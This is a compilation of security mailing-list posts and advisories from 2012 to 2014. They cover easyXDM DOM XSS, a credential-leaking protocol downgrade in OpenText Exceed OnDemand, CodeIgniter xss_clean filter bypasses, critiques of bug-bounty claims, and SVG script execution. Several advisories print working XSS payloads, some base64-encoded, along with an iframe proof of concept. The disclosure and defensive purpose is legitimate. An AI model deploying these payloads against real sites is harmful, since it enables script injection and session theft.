Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Krzysztof Kotowicz
Nicholas, seriously, just stop.

You have found an 'arbitrary file upload' in a file hosting service and
claim it is a serious vulnerability. With no proof that your 'arbitrary
file' is being used anywhere in any context that would lead to code
execution - on server or client side. You cite OWASP documents (which are
unrelated to the case), academia papers from 1975 just to find a reason
it's theoretically serious, not paying any attention to what service you're
actually attacking and what have you really achieved in that (which is
demonstrating a filtering weakness at best, low risk).

Everyone on this list so far explains why you're wrong, but you just won't
stop. So you start throwing out certificates, your academia experience and
your respected company. Then - name calling everyone else. Seriously, it's
just a good laugh for most of us.

Dude, please, just because you did not qualify for a bounty, there's no
point in launching a whole campaign like you are. You're essentially
following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB
wall) - he DID find a vuln though. Do you really want that? Go ahead, start
a crowdsourcing campaign!





2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com:

 We have many PoC's including video clips. We may upload for the security
 world to see.

 However, this is not the way to treat security vulnerabilities. Attacking
 the researcher and bringing you friends to do aswell, won't mitigate the
 problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Krzysztof Kotowicz
Care to report the same to Dropbox and Pastebin? It's a gold mine, you
know...


2014-03-14 20:09 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com:

 You are wrong, because we do have proof of concepts. If we didn't have
 them, then there would be no case.

 But if there are video clips, images demonstrating impact - in which case
 arbitrary file uploads (which is a write() call ) to a remote network, then
 it is a vulnerability. It is not about the bounty, but rather about not
 defying academic literature and widely recognised practise.

 Attacking the arguer, won't make the bug to go away.

 Best,

 Nicholas.


 On Fri, Mar 14, 2014 at 7:01 PM, Krzysztof Kotowicz 
 kkotowicz...@gmail.com wrote:

 Nicholas, seriously, just stop.

 You have found an 'arbitrary file upload' in a file hosting service and
 claim it is a serious vulnerability. With no proof that your 'arbitrary
 file' is being used anywhere in any context that would lead to code
 execution - on server or client side. You cite OWASP documents (which are
 unrelated to the case), academia papers from 1975 just to find a reason
 it's theoretically serious, not paying any attention to what service you're
 actually attacking and what have you really achieved in that (which is
 demonstrating a filtering weakness at best, low risk).

 Everyone on this list so far explains why you're wrong, but you just
 won't stop. So you start throwing out certificates, your academia
 experience and your respected company. Then - name calling everyone else.
 Seriously, it's just a good laugh for most of us.

 Dude, please, just because you did not qualify for a bounty, there's no
 point in launching a whole campaign like you are. You're essentially
 following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB
 wall) - he DID find a vuln though. Do you really want that? Go ahead, start
 a crowdsourcing campaign!





 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 We have many PoC's including video clips. We may upload for the security
 world to see.

 However, this is not the way to treat security vulnerabilities.
 Attacking the researcher and bringing you friends to do aswell, won't
 mitigate the problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Krzysztof Kotowicz
2014-03-14 20:28 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com:

 Then that also means that firewalls and IPS systems are worthless. Why
 spend so much time protecting the network layers if a user can send any
 file of choice to a remote network through http...


No, they are not worthless per se, but of course for an user content
publishing service they need to allow file upload over HTTP/s. How far
those files are inspected and later processed is another question - and
that could lead to a vulnerability that you DIDN'T demonstrate.

You just uploaded a .sh file. There's no harm in that as nowhere did you
prove that that file is being executed. Similarly (and that has been
pointed out in this thread) you could upload a PHP-GIF polyglot file to a
J2EE application - no vulnerability in this. Prove something by overwriting
a crucial file, tricking other user's browser to execute the file as HTML
from an interesting domain (XSS), popping a shell, triggering XXE when the
file is processed as XML, anything. Then that is a vulnerability. So far -
sorry, it is not, and you've been told it repeatedly.


As for the uploaded files being persistent, there is evidence of that.  For
 instance a remote admin could be tricked to execute some of the uploaded
 files (Social Engineering).


Come on, seriously? Social Engineering can make him download this file from
pastebin just as well. That's a real stretch.

IMHO it is not a security issue. You're uploading a file to some kind of
processing queue that does not validate a file type, but nevertheless only
processes those files as video - there is NO reason to suspect otherwise,
and I'd like to be proven wrong here. Proven as in PoC.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2014-1403] DOM XSS in EasyXDM 2.4.18

2014-02-02 Thread Krzysztof Kotowicz
Affected products
=
easyXDM library  2.4.19 - http://easyxdm.net/wp/

easyXDM is a Javascript library that enables you as a developer to easily
work around the limitation set in place by the Same Origin Policy, in turn
making it easy to communicate and expose javascript API's across domain
boundaries.

Vulnerabilities are fixed in version 2.4.19. All users are advised to
upgrade.

CVE
===
CVE-2014-1403

DOM XSS in name.html location.hash value


Description
---
EasyXDM uses name.html file to bootstrap cross origin communication
between documents. It accepts various parameters in location.hash value,
one of which is the URL of the document to load. Value of this parameter
is not filtered, allowing to pass javascript: URL that may execute
arbitrary Javascript code in context of the domain hosting EasyXDM
installation.

This vulnerability is described in greater details in [1]

Analysis

The root cause of the vulnerability is the following code in name.html
file:

if (location.hash) { // DOM XSS source
  if (location.hash.substring(1, 2) === _) {
var channel, url,
  hash = location.href.substring(location.href.indexOf(#) + 3),
indexOf = hash.indexOf(,);
if (indexOf == -1) {
  channel = hash;
}
else {
  channel = hash.substring(0, indexOf);
  url = decodeURIComponent(hash.substring(indexOf + 1));
}
switch (location.hash.substring(2, 3)) {
  /...
  case 3:
// NameTransport remote
var guest = window.parent.frames[
  easyXDM_ + channel + _provider
  ];
if (!guest) {
  throw new Error(unable to reference window);
}
guest.easyXDM.Fn.get(channel)(window.name);
location.href = url + #_4 + channel + ,; // DOM XSS sink
break;

Part of location hash, under certain conditions, ends up in location.href
assignment, triggering JS execution.

Proof of Concept


iframe id=f/iframe   iframe name=easyXDM_constructor_provider
src=http://domain/example/bridge.html; onload=document.getElementById('f'
).src=
'http://domain/name.html#_3constructor,javascript:alert(document.domain)//'
; /iframe

Credits
===
Vulnerability found by Krzysztof Kotowicz kkotowicz at cure53.de
http://blog.kotowicz.net

Timeline

  - 2013-01-xx - Discovery
  - 2013-01-10 - Notified project maintainer
  - 2013-01-19 - Fixed version release
  - 2013-01-31 - Public disclosure

Related links
=
[1]
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] OpenText Exceed On Demand 8 multiple vulnerabilities

2013-12-16 Thread Krzysztof Kotowicz
Exceed onDemand (EoD) is a dependable managed application access solution
designed for enterprises. It offers pixel perfect drawing, low cost
scalability and trusted security access over any network connection.

Vulnerabilities are present in the current version of the software:

 - Product URL:
http://connectivity.opentext.com/products/exceed-ondemand.aspx
 - Product Name: **OpenText Exceed OnDemand 8**
 - Client version: = **13.8.3.497**
 - Server version: = **13.8.3.521**

All proof-of-concept codes together with this advisory are hosted at
https://github.com/koto/exceed-mitm

Credits
=
  - Slawomir Jasek `Slawomir dot Jasek at securing dot pl`
  - Krzysztof Kotowicz `kkotowicz at securing dot pl`

Dates
=
 - 18.11.2013 - Vendor disclosure
 - 21.11.2013 - Additional vulnerabilities found  reported to vendor
 - 21.11.2013 - Vendor acknowledges the report, no further details to
share
 - 06.12.1013 - Query about issue resolution  initial public disclosure
date, vendor ignores
 - 16.12.2013 - Full disclosure

Authentication bypass due to protocol downgrade (CVE-2013-6806)
===

Summary
---
If communication between EoD Client and Cluster Manager can be intercepted
and tampered with (e.g. by using ARP poisoning/DNS hijacking/rogue access
point), EoD Client can be forced to using older authentication protocol,
sending out credentials in the clear.

Details
---
Upon connecting to Cluster Manager (TCP port 5500), EoD Client sends 4
bytes: `\x01\x01\x00\x00`, in turn CM responds with 4 bytes, negotiating
the version of the protocol to use. Respond from current CM version is :
`\x0b\x00\x00\x00`. Such a reponse triggers SSL handshake (similar to
STARTSSL mechanism), credentials are then sent in encrypted SSLv3
connection:

Wireshark dump of the beginning of connection:

  01 01 00 00  
  0b 00 00 00  
0004  16 03 00 00 6d 01 00 00  69 03 00 52 8d e8 02 cf m...
i..R
0014  88 d3 96 14 f4 a3 7c 47  f3 0d 85 57 58 d6 c9 f7 ..|G
...WX...
0024  18 24 95 15 2e 05 82 27  b7 1e ff 00 00 42 00 3a .$.'
.B.:
0034  00 39 00 38 00 35 00 34  00 33 00 32 00 2f 00 1b .9.8.5.4
.3.2./..
0044  00 1a 00 19 00 18 00 17  00 16 00 15 00 14 00 13 

0054  00 12 00 11 00 0a 00 09  00 08 00 07 00 06 00 05 

0064  00 04 00 03 c0 19 c0 18  c0 17 c0 16 c0 15 00 ff 

0074  01 00..

(16 03 ... bytes initiate SSL connection)

However, if the attacker modifies the response, sending e.g.
`\x01\x01\x00\x00`, client will send credentials in the clear without
establishing SSL connection first:

  01 01 00 00  
  01 01 00 00  
0004  11 01 30 0d 08 03 f1 00  00 00 00 00 00 00 00 00 ..0.

0014  00 ff ff 7f 00 00 01 ac  3d 08 08 68 69 6a 61 63 
=..hijac
0024  6b 65 64 0a 30 35 31 45  31 45 31 41 32 36 00 01 ked.051E
1E1A26..

Exemplary bytes sent right after the 8-bytes handshake contain user login
and obfuscated password. In standard connection, the same packet is sent
within SSL stream.

We did not try to use Kerberos-based authentication protocol, but the
attack against that will most likely be identical (instead of credentials
the Kerberos ticket will be sent in the clear).

Access conditions
---
Man-in-the-middle attacker

Impact
--
Credentials disclosure, authentication bypass

Proof of Concept

`exceed-downgrade.py` script can be used to test for and exploit that
vulnerability.

Recommendation
-
Do not allow servers to downgrade a protocol in EoD Client communication.
Always require that the credentials are sent in encrypted channel.

More info
-
  - CWE-757: Selection of Less-Secure Algorithm During Negotiation
('Algorithm Downgrade') - http://cwe.mitre.org/data/definitions/319.html
  - http://en.wikipedia.org/wiki/Opportunistic_encryption


Man in the Middle vulnerability (CVE-2013-6807)


Summary
---
If communication between EoD Client and Cluster Manager can be intercepted
and tampered with (e.g. by using ARP poisoning/DNS hijacking/rogue access
point), communication over SSL channel can be man-in-the-middled due to
using anonymous SSL ciphers.

Details
---
Current version of EoD client when connecting to server side components,
establishes encrypted SSL connection (with the exception of connecting to
EoD Proxy, for which SSL encryption is optional and turned off by default).
In SSL `ClientHello` message EoD client advertises several anonymous
ciphers. In their default configuration EoD servers choose

Re: [Full-disclosure] Paypal Core Bug Bounty #3 - Persistent Web Vulnerability

2012-12-20 Thread Krzysztof Kotowicz
 Successful exploitation of the vulnerability results in persistent session
 hijacking (admin), account steal via persistent phishing or
 persistent search module web context manipulation.


Exactly how is the session hijacking/phishing/web content manipulation
_persistent_? Just because the payload is _stored_ does not necessarily
mean that is it always running.


 Proof of Concept:
 =
 The persistent vulnerability can be exploited by remote attackers with
 privileged paypal user account and low required user interaction.



 [...]



 Manually reproduce ...

 1. Go to the addressbook and switch to add a new contact to adressbook
 2. Include script code (html/js) as username to the addressbook and save
 the context
 2. Now, switch to the user search (addressbook) module (other layer) 
 click the user contact search to activate
 3. Include the exact name of the username (script code (html/js)) from the
 addressbook and press the search button
 4. The context of the other layer from the addressbook will be executed
 directly out of the results listing page of the exisiting user contacts
 5. Done! POST REQUEST: method=post name=searchContact


How is THAT a low user interaction scenario? IIUC, victim has to manually
(no mention of CSRF here) insert a XSS payload into his address book, then
search for the payload exactly as inserted (is there a antiCSRF token
needed for the search request) and only then is the payload executed.
During this scenario user knowingly sees  uses Javascript code twice -
that's hardly low interaction.

Unless I'm missing something - is there a cross-account action going on
where one user manipulates the address book for a second user (e.g. from
the same organisation?)

Best regards,
Krzysztof Kotowicz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] CodeIgniter = 2.1.1 xss_clean() Cross Site Scripting filter bypass

2012-07-20 Thread Krzysztof Kotowicz
This is a security advisory for popular PHP framework - CodeIgniter.
I've found several bypasses in xss sanitization functions in the
framework. These were responsibly disclosed to the vendor and are now
fixed in version 2.1.2. (CVE-2012-1915).

Affected products
==

CodeIgniter = 2.1.1 PHP framework and all CodeIgniter-based PHP
applications using its built-in XSS filtering mechanism.

CVE


CVE-2012-1915

Introduction
==

CodeIgniter ( http://codeigniter.com) is a powerful PHP framework with
a very small footprint, built for PHP coders who need a simple and
elegant toolkit to create full-featured web applications. CodeIgniter
comes with a Cross Site Scripting Hack prevention filter which can
either run automatically to filter all POST and COOKIE data that is
encountered, or you can run it on a per item basis. Several vectors
bypassing claimed XSS filter protections have been found in 2.1.0
version of the framework. In cooperation with vendor, these have been
fixed in version 2.1.2.

Description
=

XSS filter of CodeIgniter framework is implemented in xss_clean()
function defined in system/core/Security.php file. It uses multiple,
mostly blacklist-oriented methods to detect and remove XSS payloads
from the passed input. As per documentation of the filter (
http://codeigniter.com/user_guide/libraries/security.html ) the filter
is supposed to be run on input passed to the application e.g. before
saving data in the database i.e. it's not an output-escaping, but
input sanitizing filter.


There are multiple ways to bypass the current version of the filters,
exemplary vectors are given below:

// Different attribute separators and invalid regexp detecting tag
closure too early

img/src= onerror=alert(1)
button/a= autofocus onfocus=alert#40;1#40;/button
button a= autofocus onfocus=alert#40;1#40;

// Opera 11 svg bypass

svg xmlns=http://www.w3.org/2000/svg;
xmlns:xlink=http://www.w3.org/1999/xlink;feImage set
attributeName=xlink:href
to=data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D/
/feImage /svg

// data: URI with base64 encoding bypass exploiting Firefox
origin-inheritance for data:uris

a target=_blank
href=data:text/html;BASE64youdummy,PHNjcmlwdD5hbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5pbm5lckhUTUwpPC9zY3JpcHQ+clickme
in firefox/a
a/''' target=_blank
href=data:text/html;;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpPC9zY3JpcHQ+firefox11/a

These exemplary bypasses may be used to cause both reflected and
stored XSS attacks depending on the way the application built with
CodeIgniter uses the input filtering mechanism.

Proof of concept
=

Build an application on CodeIgniter 2.1.0:

// application/controllers/xssdemo.php
?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Xssdemo extends CI_Controller {

public function index() {
$data['xss'] =
$this-security-xss_clean($this-input-post('xss'));
$this-load-view('xssdemo', $data);
}
}

// application/views/xssdemo.php
form method=post
textarea name=xss?php echo htmlspecialchars($xss);
?/textarea
input type=submit /
/form
pXSS:
hr /
?php echo $xss ?

Launch http://app-uri/index.php/xssdemo and try above vectors.

Mitigation


Upgrade to CodeIgniter = 2.1.2. Avoid using xss-clean() function.
It's based on multiple blacklists and will therefore unavoidably be
bypassable in the future. For input filtering, use HTMLPurifier (
http://htmlpurifier.org/ ) instead.

Credits
==

Vulnerability found by Krzysztof Kotowicz kkotowicz at gmail dot com
http://blog.kotowicz.net

Timeline
===

2012.03.30 - Notified vendor
2012.04.02 - Vendor response
2012.04.03 - 2012.04.10 - Fixes coordinated with vendor
2012.06.29 - v 2.1.2 released with fixes included
2012.07.19 - Public disclosure

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Trigerring Java code from a SVG image

2012-05-16 Thread Krzysztof Kotowicz
Kind of. You can still do some stuff from img in Opera.
http://kotowicz.net/opera/

On Wed, May 16, 2012 at 12:25 PM, Dan Kaminsky d...@doxpara.com wrote:
 Anything from img in any browser?


 On Wed, May 16, 2012 at 2:25 AM, Michele Orru antisnatc...@gmail.com
 wrote:

 Mario Heiderich did a lot of research on that, he found so many bugs
 that allowed
 to embed Javascript in SVG images.

 Nice stuff Nick btw,

 Cheers
 antisnatchor

 On Wed, May 16, 2012 at 10:13 AM, Dan Kaminsky d...@doxpara.com wrote:
  Yeah, there's a bunch of wild stuff in SVG.  The browsers ignore most of
  it,
  AFAIK.  I think Firefox is the only browser to even consider
  ForeignObjects
  (which let you throw HTML back into SVG).
 
  Probably the most interesting SVG thing is how they either do or don't
  have
  script access, depending on whether or not they're loaded as img's.
   It
  would be problematic indeed if img src=foo.jpg could suddenly render
  script!
 
 
  On Tue, May 15, 2012 at 5:07 AM, Nicolas Grégoire
  nicolas.grego...@agarri.fr wrote:
 
  Hello,
 
  SVG is a XML-based file format for static or animated images. Some SVG
  specifications (like  SVG 1.1 and SVG Tiny 1.2) allow to trigger some
  Java code when the SVG file is opened.
 
  Given that I had to look at these features for a customer, I developed
  some PoC codes which are now available online:
  http://www.agarri.fr/docs/batik-evil.svg
  http://www.agarri.fr/docs/batik-evil.jar
 
  I published a more detailed article on my blog:
  http://www.agarri.fr/blog/
 
  Regards,
  Nicolas Grégoire / @Agarri_FR
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/
 
 
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/



 --
 /antisnatchor



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/